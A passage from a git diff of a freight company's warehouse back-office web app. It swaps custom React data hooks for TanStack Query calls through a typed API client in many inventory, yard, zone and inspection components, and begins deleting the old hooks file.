from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useCreateYard, useUpdateYard } from '@/hooks/useWarehouses'; import type { SaveYardPayload, WarehouseYard, WarehouseYardType } from '@/types/warehouse'; import { extractErrorMessage, statusOptions, yardTypeOptions } from './options'; @@ -36,8 +38,8 @@ const emptyForm = (): FormState => ({ export function CreateYardModal({ opened, onClose, warehouseId, yard }: CreateYardModalProps) { const isEdit = Boolean(yard); const { toast } = useToast(); - const createMutation = useCreateYard(); - const updateMutation = useUpdateYard(); + const createMutation = useMutation(api.warehouses.createYard.mutationOptions()); + const updateMutation = useMutation(api.warehouses.updateYard.mutationOptions()); const [form, setForm] = useState(emptyForm()); useEffect(() => { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateZoneModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateZoneModal.tsx index 7a67e4ff1..05bc1ce96 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateZoneModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateZoneModal.tsx @@ -1,8 +1,10 @@ import { useEffect, useState } from 'react'; import { Button, Group, Modal, NumberInput, Select, Stack, TextInput } from '@mantine/core'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useCreateZone, useUpdateZone } from '@/hooks/useWarehouses'; import type { SaveZonePayload, WarehouseZone, WarehouseZoneType } from '@/types/warehouse'; import { extractErrorMessage, statusOptions, zoneTypeOptions } from './options'; @@ -36,8 +38,8 @@ const emptyForm = (): FormState => ({ export function CreateZoneModal({ opened, onClose, yardId, zone }: CreateZoneModalProps) { const isEdit = Boolean(zone); const { toast } = useToast(); - const createMutation = useCreateZone(); - const updateMutation = useUpdateZone(); + const createMutation = useMutation(api.warehouses.createZone.mutationOptions()); + const updateMutation = useMutation(api.warehouses.updateZone.mutationOptions()); const [form, setForm] = useState(emptyForm()); useEffect(() => { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/DeliverInventoryModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/DeliverInventoryModal.tsx index 4b5485815..d8a441de8 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/DeliverInventoryModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/DeliverInventoryModal.tsx @@ -2,8 +2,10 @@ import { useEffect, useState } from 'react'; import { Alert, Button, Group, Modal, Stack, Text, Textarea, TextInput } from '@mantine/core'; import { Info } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useDeliverInventory } from '@/hooks/useWarehouses'; import type { WarehouseInventoryItem } from '@/types/warehouse'; import { extractErrorMessage } from './options'; @@ -15,7 +17,7 @@ interface DeliverInventoryModalProps { export function DeliverInventoryModal({ opened, onClose, item }: DeliverInventoryModalProps) { const { toast } = useToast(); - const deliverMutation = useDeliverInventory(); + const deliverMutation = useMutation(api.warehouses.deliver.mutationOptions()); const [receiverName, setReceiverName] = useState(''); const [remarks, setRemarks] = useState(''); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/FeePreviewModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/FeePreviewModal.tsx index ce4b81c05..73ea669be 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/FeePreviewModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/FeePreviewModal.tsx @@ -1,13 +1,10 @@ import { Badge, Button, Card, Divider, Group, Loader, Modal, Stack, Text } from '@mantine/core'; import { CalendarClock, Coins, DoorOpen, FileText } from 'lucide-react'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { - useFeePreview, - useGateClearance, - useGenerateInvoice, - useInvoicesForInventory, -} from '@/hooks/useWarehouses'; import { extractErrorMessage } from './options'; import type { FeePreview, WarehouseInvoiceStatus } from '@/types/warehouse'; @@ -88,10 +85,20 @@ function Row({ label, value }: { label: string; value: string }) { export function FeePreviewModal({ opened, onClose, inventoryId }: FeePreviewModalProps) { const { toast } = useToast(); const enabledId = opened ? inventoryId ?? undefined : undefined; - const { data, isLoading } = useFeePreview(enabledId); - const { data: invoices } = useInvoicesForInventory(enabledId); - const generate = useGenerateInvoice(); - const gateClear = useGateClearance(); + const { data, isLoading } = useQuery( + api.warehouses.feePreview.queryOptions({ + input: { inventoryId: enabledId ?? '' }, + enabled: Boolean(enabledId), + }), + ); + const { data: invoices } = useQuery( + api.warehouses.invoicesForInventory.queryOptions({ + input: { inventoryId: enabledId ?? '' }, + enabled: Boolean(enabledId), + }), + ); + const generate = useMutation(api.warehouses.generateInvoice.mutationOptions()); + const gateClear = useMutation(api.warehouses.gateClearance.mutationOptions()); const activeInvoice = (invoices ?? []).find((i) => i.status !== 'CANCELLED'); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/InspectionReportModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/InspectionReportModal.tsx index 15583345d..d56547455 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/InspectionReportModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/InspectionReportModal.tsx @@ -12,8 +12,10 @@ import { } from '@mantine/core'; import { Upload } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useCreateInspectionReport, useUploadInspectionAttachments } from '@/hooks/useWarehouses'; import { INSPECTION_REPORT_TYPES, INSPECTION_STATUSES, @@ -45,8 +47,12 @@ const STATUS_LABELS: Record = { /** Batch 4.5 — record an inspection / damage report with optional image upload. */ export function InspectionReportModal({ opened, onClose, inventoryId }: InspectionReportModalProps) { const { toast } = useToast(); - const createReport = useCreateInspectionReport(); - const uploadAttachments = useUploadInspectionAttachments(); + const createReport = useMutation( + api.warehouses.createInspectionReport.mutationOptions(), + ); + const uploadAttachments = useMutation( + api.warehouses.uploadInspectionAttachments.mutationOptions(), + ); const [reportType, setReportType] = useState('INSPECTION'); const [inspectionStatus, setInspectionStatus] = useState('PASSED'); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryMovementHistoryTable.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryMovementHistoryTable.tsx index 352c6bff2..304e4ca75 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryMovementHistoryTable.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryMovementHistoryTable.tsx @@ -1,12 +1,19 @@ import { Center, Loader, Table, Text } from '@mantine/core'; -import { useInventoryMovements } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { formatDate } from './options'; const shortId = (id?: string | null) => (id ? `${id.slice(0, 8)}…` : '—'); export function InventoryMovementHistoryTable({ inventoryId }: { inventoryId: string }) { - const { data, isLoading } = useInventoryMovements(inventoryId); + const { data, isLoading } = useQuery( + api.warehouses.movements.queryOptions({ + input: { id: inventoryId }, + enabled: Boolean(inventoryId), + }), + ); const movements = data ?? []; if (isLoading) { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryWorkbench.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryWorkbench.tsx index 27ad0ebc6..b076510ab 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryWorkbench.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/InventoryWorkbench.tsx @@ -2,14 +2,10 @@ import { useState } from 'react'; import { Button, Center, Group, Loader, Stack, Text } from '@mantine/core'; import { ClipboardCheck } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { - useBulkMarkInspected, - useDispatchInventory, - useMarkReadyForLoading, - useMarkReadyForPickup, - useStoreInventory, -} from '@/hooks/useWarehouses'; import type { InventoryAction, WarehouseInventoryItem } from '@/types/warehouse'; import { DeliverInventoryModal } from './DeliverInventoryModal'; import { FeePreviewModal } from './FeePreviewModal'; @@ -42,11 +38,17 @@ export function InventoryWorkbench({ items, isLoading, onLastMile }: InventoryWo const [releaseItem, setReleaseItem] = useState(null); const [deliverItem, setDeliverItem] = useState(null); - const storeMutation = useStoreInventory(); - const readyMutation = useMarkReadyForLoading(); - const pickupMutation = useMarkReadyForPickup(); - const dispatchMutation = useDispatchInventory(); - const inspectMutation = useBulkMarkInspected(); + const storeMutation = useMutation(api.warehouses.store.mutationOptions()); + const readyMutation = useMutation( + api.warehouses.markReadyForLoading.mutationOptions(), + ); + const pickupMutation = useMutation( + api.warehouses.markReadyForPickup.mutationOptions(), + ); + const dispatchMutation = useMutation(api.warehouses.dispatch.mutationOptions()); + const inspectMutation = useMutation( + api.warehouses.bulkMarkInspected.mutationOptions(), + ); const [selected, setSelected] = useState>(new Set()); const allSelected = items.length > 0 && selected.size === items.length; @@ -66,10 +68,7 @@ export function InventoryWorkbench({ items, isLoading, onLastMile }: InventoryWo return; } try { - const res = (await inspectMutation.mutateAsync({ inventoryIds: [...selected] })) as { - data: { inspectedCount: number; skippedCount: number }; - }; - const r = res.data; + const r = await inspectMutation.mutateAsync({ inventoryIds: [...selected] }); toast({ title: `${r.inspectedCount} marked inspected`, description: r.skippedCount ? `${r.skippedCount} skipped` : undefined, diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/LoadInventoryModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/LoadInventoryModal.tsx index 8def582cb..7fc43c0d5 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/LoadInventoryModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/LoadInventoryModal.tsx @@ -2,8 +2,10 @@ import { useEffect, useState } from 'react'; import { Alert, Button, Group, Modal, NumberInput, Stack, Text, Textarea } from '@mantine/core'; import { Info } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useLoadInventory } from '@/hooks/useWarehouses'; import type { WarehouseInventoryItem } from '@/types/warehouse'; import { WagonSelect } from './WagonSelect'; import { extractErrorMessage } from './options'; @@ -17,7 +19,7 @@ interface LoadInventoryModalProps { /** Load READY_FOR_LOADING inventory onto a wagon (creates a loading record). */ export function LoadInventoryModal({ opened, onClose, item }: LoadInventoryModalProps) { const { toast } = useToast(); - const loadMutation = useLoadInventory(); + const loadMutation = useMutation(api.warehouses.load.mutationOptions()); const [wagonId, setWagonId] = useState(''); const [loadedWeight, setLoadedWeight] = useState(''); const [notes, setNotes] = useState(''); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/MoveInventoryModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/MoveInventoryModal.tsx index b76458d5e..1ec596ffe 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/MoveInventoryModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/MoveInventoryModal.tsx @@ -1,8 +1,10 @@ import { useEffect, useMemo, useState } from 'react'; import { Button, Group, Modal, Select, Stack, Textarea } from '@mantine/core'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useMoveInventory, useWarehouseYards, useWarehouseZones, useWarehouses } from '@/hooks/useWarehouses'; import type { WarehouseInventoryItem } from '@/types/warehouse'; import { extractErrorMessage } from './options'; @@ -14,7 +16,7 @@ interface MoveInventoryModalProps { export function MoveInventoryModal({ opened, onClose, item }: MoveInventoryModalProps) { const { toast } = useToast(); - const moveMutation = useMoveInventory(); + const moveMutation = useMutation(api.warehouses.move.mutationOptions()); const [warehouseId, setWarehouseId] = useState(''); const [yardId, setYardId] = useState(''); const [zoneId, setZoneId] = useState(''); @@ -29,9 +31,21 @@ export function MoveInventoryModal({ opened, onClose, item }: MoveInventoryModal } }, [opened]); - const warehousesQuery = useWarehouses({ status: 'ACTIVE' }); - const yardsQuery = useWarehouseYards(warehouseId || undefined); - const zonesQuery = useWarehouseZones(yardId || undefined); + const warehousesQuery = useQuery( + api.warehouses.list.queryOptions({ input: { filter: { status: 'ACTIVE' } } }), + ); + const yardsQuery = useQuery( + api.warehouses.listYards.queryOptions({ + input: { warehouseId }, + enabled: Boolean(warehouseId), + }), + ); + const zonesQuery = useQuery( + api.warehouses.listZones.queryOptions({ + input: { yardId }, + enabled: Boolean(yardId), + }), + ); const warehouseOptions = useMemo( () => (warehousesQuery.data ?? []).map((w) => ({ value: w.id, label: `${w.name} (${w.code})` })), diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/ReceiveInventoryModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/ReceiveInventoryModal.tsx index eab14ad63..3cd08461f 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/ReceiveInventoryModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/ReceiveInventoryModal.tsx @@ -18,34 +18,14 @@ import { } from '@mantine/core'; import { ChevronDown, ChevronRight, ClipboardCheck, Info, PackageSearch, Train, Truck } from 'lucide-react'; +import { useMutation, useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { - useAutoUnloadArrivedBookings, - useBulkDispatchExport, - useBulkMarkInspected, - useBulkReceive, - useEligibleBookings, - useImportArriveQueue, - useImportTrainItems, - useImportUnloadedQueue, - useLoadPassedExport, - useLoadedExport, - useReadyToLoadExport, - useReceiveInventory, - useWarehouseInventory, - useWarehouseYards, - useWarehouseZones, - useWarehouses, -} from '@/hooks/useWarehouses'; import type { - AutoUnloadArrivedResult, - BulkDispatchResult, - BulkInspectResult, - BulkReceiveResult, ImportTrain, ImportTrainItem, ImportUnloadedItem, - LoadPassedExportResult, ReadyToLoadRow, ReceiveInventoryPayload, } from '@/types/warehouse'; @@ -77,9 +57,21 @@ function LocationSelects({ value: Location; onChange: (next: Location) => void; }) { - const warehousesQuery = useWarehouses({ status: 'ACTIVE' }); - const yardsQuery = useWarehouseYards(value.warehouseId || undefined); - const zonesQuery = useWarehouseZones(value.yardId || undefined); + const warehousesQuery = useQuery( + api.warehouses.list.queryOptions({ input: { filter: { status: 'ACTIVE' } } }), + ); + const yardsQuery = useQuery( + api.warehouses.listYards.queryOptions({ + input: { warehouseId: value.warehouseId ?? '' }, + enabled: Boolean(value.warehouseId), + }), + ); + const zonesQuery = useQuery( + api.warehouses.listZones.queryOptions({ + input: { yardId: value.yardId ?? '' }, + enabled: Boolean(value.yardId), + }), + ); const warehouseOptions = useMemo( () => (warehousesQuery.data ?? []).map((w) => ({ value: w.id, label: `${w.name} (${w.code})` })), @@ -148,10 +140,12 @@ function EligibleTab({ onChanged?: () => void; }) { const { toast } = useToast(); - const { data: allRows = [], isLoading } = useEligibleBookings(enabled); + const { data: allRows = [], isLoading } = useQuery( + api.warehouses.eligibleBookings.queryOptions({ enabled }), + ); const rows = useMemo(() => allRows.filter((r) => r.direction === direction), [allRows, direction]); - const bulkReceive = useBulkReceive(); - const loadPassed = useLoadPassedExport(); + const bulkReceive = useMutation(api.warehouses.bulkReceive.mutationOptions()); + const loadPassed = useMutation(api.warehouses.loadPassedExport.mutationOptions()); const [selected, setSelected] = useState>(new Set()); const locationReady = Boolean(location.warehouseId && location.yardId && location.zoneId); @@ -177,10 +171,7 @@ function EligibleTab({ return; } try { - const res = (await bulkReceive.mutateAsync({ direction, ...location, bookingIds })) as { - data: BulkReceiveResult; - }; - const r = res.data; + const r = await bulkReceive.mutateAsync({ direction, ...location, bookingIds }); toast({ title: `${r.receivedCount} received at ${direction === 'EXPORT' ? 'facility' : 'warehouse'}`, description: r.skippedCount ? `${r.skippedCount} skipped` : undefined, @@ -194,8 +185,7 @@ function EligibleTab({ const loadPassedExport = async () => { try { - const res = (await loadPassed.mutateAsync(undefined)) as { data: LoadPassedExportResult }; - const r = res.data; + const r = await loadPassed.mutateAsync(undefined); toast({ title: `${r.loadedCount} loaded`, description: r.skippedCount ? `${r.skippedCount} skipped — inspection not passed` : undefined, @@ -353,8 +343,10 @@ function EligibleTab({ /** Export items that passed inspection and are queued to be loaded onto a train. */ function ReadyToLoadTab({ enabled, onChanged }: { enabled: boolean; onChanged?: () => void }) { const { toast } = useToast(); - const { data: rows = [], isLoading } = useReadyToLoadExport(enabled); - const loadPassed = useLoadPassedExport(); + const { data: rows = [], isLoading } = useQuery( + api.warehouses.readyToLoadExport.queryOptions({ enabled }), + ); + const loadPassed = useMutation(api.warehouses.loadPassedExport.mutationOptions()); const [selected, setSelected] = useState>(new Set()); const allSelected = rows.length > 0 && selected.size === rows.length; @@ -369,8 +361,7 @@ function ReadyToLoadTab({ enabled, onChanged }: { enabled: boolean; onChanged?: const autoLoad = async () => { try { - const res = (await loadPassed.mutateAsync(undefined)) as { data: LoadPassedExportResult }; - const r = res.data; + const r = await loadPassed.mutateAsync(undefined); toast({ title: `${r.loadedCount} items loaded`, description: r.skippedCount ? `${r.skippedCount} skipped` : undefined, @@ -494,8 +485,12 @@ function LoadedExportTab({ onChanged?: () => void; }) { const { toast } = useToast(); - const { data: rows = [], isLoading } = useLoadedExport(enabled); - const bulkDispatch = useBulkDispatchExport(); + const { data: rows = [], isLoading } = useQuery( + api.warehouses.loadedExport.queryOptions({ enabled }), + ); + const bulkDispatch = useMutation( + api.warehouses.bulkDispatchExport.mutationOptions(), + ); const [selected, setSelected] = useState>(new Set()); const allSelected = rows.length > 0 && selected.size === rows.length; @@ -514,8 +509,7 @@ function LoadedExportTab({ return; } try { - const res = (await bulkDispatch.mutateAsync(inventoryIds)) as { data: BulkDispatchResult }; - const r = res.data; + const r = await bulkDispatch.mutateAsync(inventoryIds); toast({ title: `${r.dispatchedCount} dispatched`, description: r.skippedCount ? `${r.skippedCount} skipped` : undefined, @@ -659,7 +653,12 @@ function LoadedExportTab({ /** Assigned bookings/items for an arrived import train (read-only detail view). */ function ImportTrainDetailTable({ scheduleId }: { scheduleId: string }) { - const { data: items = [], isLoading } = useImportTrainItems(scheduleId); + const { data: items = [], isLoading } = useQuery( + api.warehouses.importTrainItems.queryOptions({ + input: { scheduleId }, + enabled: Boolean(scheduleId), + }), + ); if (isLoading) { return ( @@ -735,18 +734,19 @@ function ImportArriveQueueTab({ onChanged?: () => void; }) { const { toast } = useToast(); - const { data: trains = [], isLoading } = useImportArriveQueue(enabled); - const autoUnloadMutation = useAutoUnloadArrivedBookings(); + const { data: trains = [], isLoading } = useQuery( + api.warehouses.importArriveQueue.queryOptions({ enabled }), + ); + const autoUnloadMutation = useMutation( + api.warehouses.autoUnloadArrivedBookings.mutationOptions(), + ); const [openId, setOpenId] = useState(null); const [busyId, setBusyId] = useState(null); const autoUnload = async (train: ImportTrain) => { setBusyId(train.scheduleId); try { - const res = (await autoUnloadMutation.mutateAsync(train.scheduleId)) as { - data: AutoUnloadArrivedResult; - }; - const r = res.data; + const r = await autoUnloadMutation.mutateAsync(train.scheduleId); const extra = [ r.skippedCount ? `${r.skippedCount} skipped` : '', r.failedCount ? `${r.failedCount} failed` : '', @@ -866,8 +866,12 @@ function ImportArriveQueueTab({ */ function ImportUnloadedQueueTab({ enabled }: { enabled: boolean }) { const { toast } = useToast(); - const { data: rows = [], isLoading } = useImportUnloadedQueue(enabled); - const inspectMutation = useBulkMarkInspected(); + const { data: rows = [], isLoading } = useQuery( + api.warehouses.importUnloadedQueue.queryOptions({ enabled }), + ); + const inspectMutation = useMutation( + api.warehouses.bulkMarkInspected.mutationOptions(), + ); const [selected, setSelected] = useState>(new Set()); const [inspectId, setInspectId] = useState(null); @@ -888,10 +892,7 @@ function ImportUnloadedQueueTab({ enabled }: { enabled: boolean }) { return; } try { - const res = (await inspectMutation.mutateAsync({ inventoryIds: [...selected] })) as { - data: BulkInspectResult; - }; - const r = res.data; + const r = await inspectMutation.mutateAsync({ inventoryIds: [...selected] }); toast({ title: `${r.inspectedCount} marked inspected`, description: r.skippedCount ? `${r.skippedCount} skipped` : undefined, @@ -1033,8 +1034,10 @@ function ImportUnloadedQueueTab({ enabled }: { enabled: boolean }) { */ function ImportDispatchQueueTab({ enabled }: { enabled: boolean }) { const { toast } = useToast(); - const { data: items = [], isLoading } = useWarehouseInventory( - enabled ? { status: 'READY_FOR_PICKUP' } : undefined, + const { data: items = [], isLoading } = useQuery( + api.warehouses.listInventory.queryOptions({ + input: { filter: enabled ? { status: 'READY_FOR_PICKUP' } : undefined }, + }), ); return ( @@ -1155,7 +1158,9 @@ function SingleBookingReceiveModal({ onReceived, }: ReceiveInventoryModalProps) { const { toast } = useToast(); - const receiveMutation = useReceiveInventory(); + const receiveMutation = useMutation( + api.warehouses.receiveInventory.mutationOptions(), + ); const [selectedBooking, setSelectedBooking] = useState(bookingId ?? ''); const [form, setForm] = useState({ warehouseId: '', diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/ReleaseOrderModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/ReleaseOrderModal.tsx index 851066713..f2edd620b 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/ReleaseOrderModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/ReleaseOrderModal.tsx @@ -2,8 +2,10 @@ import { useEffect, useState } from 'react'; import { Alert, Button, Group, Modal, Stack, Text, TextInput } from '@mantine/core'; import { Info } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useReleaseInventory } from '@/hooks/useWarehouses'; import type { WarehouseInventoryItem } from '@/types/warehouse'; import { extractErrorMessage } from './options'; @@ -15,7 +17,7 @@ interface ReleaseOrderModalProps { export function ReleaseOrderModal({ opened, onClose, item }: ReleaseOrderModalProps) { const { toast } = useToast(); - const releaseMutation = useReleaseInventory(); + const releaseMutation = useMutation(api.warehouses.release.mutationOptions()); const [reference, setReference] = useState(''); useEffect(() => { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/ReserveInventoryModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/ReserveInventoryModal.tsx index 7a7ebb55b..d436bb6f2 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/ReserveInventoryModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/ReserveInventoryModal.tsx @@ -2,8 +2,10 @@ import { useEffect, useState } from 'react'; import { Alert, Button, Group, Modal, Stack, Text } from '@mantine/core'; import { Info } from 'lucide-react'; +import { useMutation } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useReserveInventory } from '@/hooks/useWarehouses'; import type { WarehouseInventoryItem } from '@/types/warehouse'; import { BookingSelect } from './BookingSelect'; import { extractErrorMessage } from './options'; @@ -16,7 +18,7 @@ interface ReserveInventoryModalProps { export function ReserveInventoryModal({ opened, onClose, item }: ReserveInventoryModalProps) { const { toast } = useToast(); - const reserveMutation = useReserveInventory(); + const reserveMutation = useMutation(api.warehouses.reserve.mutationOptions()); const [bookingId, setBookingId] = useState(''); useEffect(() => { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/WagonSelect.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/WagonSelect.tsx index d6cc8c2cd..298df191b 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/WagonSelect.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/WagonSelect.tsx @@ -1,6 +1,7 @@ import { Select } from '@mantine/core'; +import { useQuery } from '@tanstack/react-query'; -import { useLoadableWagons } from '@/hooks/useWarehouses'; +import { api } from '@/services/api'; interface WagonSelectProps { value: string; @@ -11,7 +12,9 @@ interface WagonSelectProps { /** Searchable wagon picker. Lists wagons that are loadable (read-only from scheduling). */ export function WagonSelect({ value, onChange, label = 'Wagon', required }: WagonSelectProps) { - const { data, isLoading } = useLoadableWagons(); + const { data, isLoading } = useQuery( + api.warehouses.loadableWagons.queryOptions(), + ); const options = (data ?? []).map((w) => ({ value: w.id, diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseDashboardCharts.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseDashboardCharts.tsx index b2a628d88..993544fe3 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseDashboardCharts.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseDashboardCharts.tsx @@ -15,7 +15,9 @@ import { YAxis, } from 'recharts'; -import { useWarehouseInventory } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { WarehouseDashboard, WarehouseInventoryItem } from '@/types/warehouse'; interface WarehouseDashboardChartsProps { @@ -38,7 +40,9 @@ type Granularity = 'week' | 'month' | 'year'; export function WarehouseDashboardCharts({ data }: WarehouseDashboardChartsProps) { const [granularity, setGranularity] = useState('month'); - const { data: inventory } = useWarehouseInventory(); + const { data: inventory } = useQuery( + api.warehouses.listInventory.queryOptions({ input: {} }), + ); const statusData = STATUS_SERIES.map((s) => ({ name: s.label, diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseInfoCard.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseInfoCard.tsx index 83dcc4d63..e28513821 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseInfoCard.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseInfoCard.tsx @@ -2,7 +2,9 @@ import { useState } from 'react'; import { Badge, Button, Card, Divider, Group, Stack, Text } from '@mantine/core'; import { PackagePlus, Train as TrainIcon, Warehouse as WarehouseIcon } from 'lucide-react'; -import { useBookingSchedule, useWarehouseInventory } from '@/hooks/useWarehouses'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import { InventoryStatusBadge } from './badges'; import { FreightVisual } from './FreightVisual'; import { formatDate } from './options'; @@ -28,8 +30,15 @@ function Row({ label, value }: { label: string; value: React.ReactNode }) { export function WarehouseInfoCard({ bookingId, bookingReference }: WarehouseInfoCardProps) { const [modalOpen, setModalOpen] = useState(false); - const { data, isLoading } = useWarehouseInventory({ bookingId }); - const { data: scheduleView } = useBookingSchedule(bookingId); + const { data, isLoading } = useQuery( + api.warehouses.listInventory.queryOptions({ input: { filter: { bookingId } } }), + ); + const { data: scheduleView } = useQuery( + api.warehouses.bookingSchedule.queryOptions({ + input: { bookingId }, + enabled: Boolean(bookingId), + }), + ); const items = data ?? []; const latest = items[0]; diff --git a/apps/edr-freight-web/backoffice/src/hooks/useWarehouses.ts b/apps/edr-freight-web/backoffice/src/hooks/useWarehouses.ts deleted file mode 100644 index 5e50c151a..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/useWarehouses.ts +++ /dev/null @@ -1,505 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; - -import { warehouseService } from '@/services/warehouse.service'; -import type { - InspectionReportPayload, - SaveAllocationRulePayload, - SaveFeeRulePayload, - WarehouseInvoiceFilter, - PayInvoicePayload, - InventoryFilter, - InventoryInquiryFilter, - LoadInventoryPayload, - MoveInventoryPayload, - ReceiveInventoryPayload, - ReleaseOrderPayload, - DeliverInventoryPayload, - BulkReceivePayload, - BulkInspectPayload, - ReserveInventoryPayload, - SaveWarehousePayload, - SaveYardPayload, - SaveZonePayload, - WarehouseFilter, -} from '@/types/warehouse'; - -export const warehouseKeys = { - all: ['warehouses'] as const, - list: (filter?: WarehouseFilter) => ['warehouses', 'list', filter ?? {}] as const, - detail: (id: string) => ['warehouses', 'detail', id] as const, - yards: (warehouseId: string) => ['warehouses', warehouseId, 'yards'] as const, - zones: (yardId: string) => ['warehouse-yards', yardId, 'zones'] as const, - inventory: (filter?: InventoryFilter) => ['warehouse-inventory', 'list', filter ?? {}] as const, - inquiry: (filter: InventoryInquiryFilter) => ['warehouse-inventory', 'inquiry', filter] as const, -}; - -// ── Warehouses ───────────────────────────────────────────────────────────── - -export function useWarehouses(filter?: WarehouseFilter) { - return useQuery({ - queryKey: warehouseKeys.list(filter), - queryFn: () => warehouseService.list(filter).then((r) => r.data), - }); -} - -export function useWarehouse(id?: string) { - return useQuery({ - queryKey: warehouseKeys.detail(id ?? ''), - queryFn: () => warehouseService.getById(id as string).then((r) => r.data), - enabled: Boolean(id), - }); -} - -export function useCreateWarehouse() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: (payload: SaveWarehousePayload) => warehouseService.create(payload), - onSuccess: () => qc.invalidateQueries({ queryKey: warehouseKeys.all }), - }); -} - -export function useUpdateWarehouse() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, payload }: { id: string; payload: Partial }) => - warehouseService.update(id, payload), - onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: warehouseKeys.all }); - qc.invalidateQueries({ queryKey: warehouseKeys.detail(id) }); - }, - }); -} - -// ── Yards ──────────────────────────────────────────────────────────────── - -export function useWarehouseYards(warehouseId?: string) { - return useQuery({ - queryKey: warehouseKeys.yards(warehouseId ?? ''), - queryFn: () => warehouseService.listYards(warehouseId as string).then((r) => r.data), - enabled: Boolean(warehouseId), - }); -} - -export function useCreateYard() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ warehouseId, payload }: { warehouseId: string; payload: SaveYardPayload }) => - warehouseService.createYard(warehouseId, payload), - onSuccess: (_, { warehouseId }) => { - qc.invalidateQueries({ queryKey: warehouseKeys.yards(warehouseId) }); - qc.invalidateQueries({ queryKey: warehouseKeys.detail(warehouseId) }); - }, - }); -} - -export function useUpdateYard() { - const qc = useQueryClient(); - return useMutation({ - mutationFn: ({ id, payload 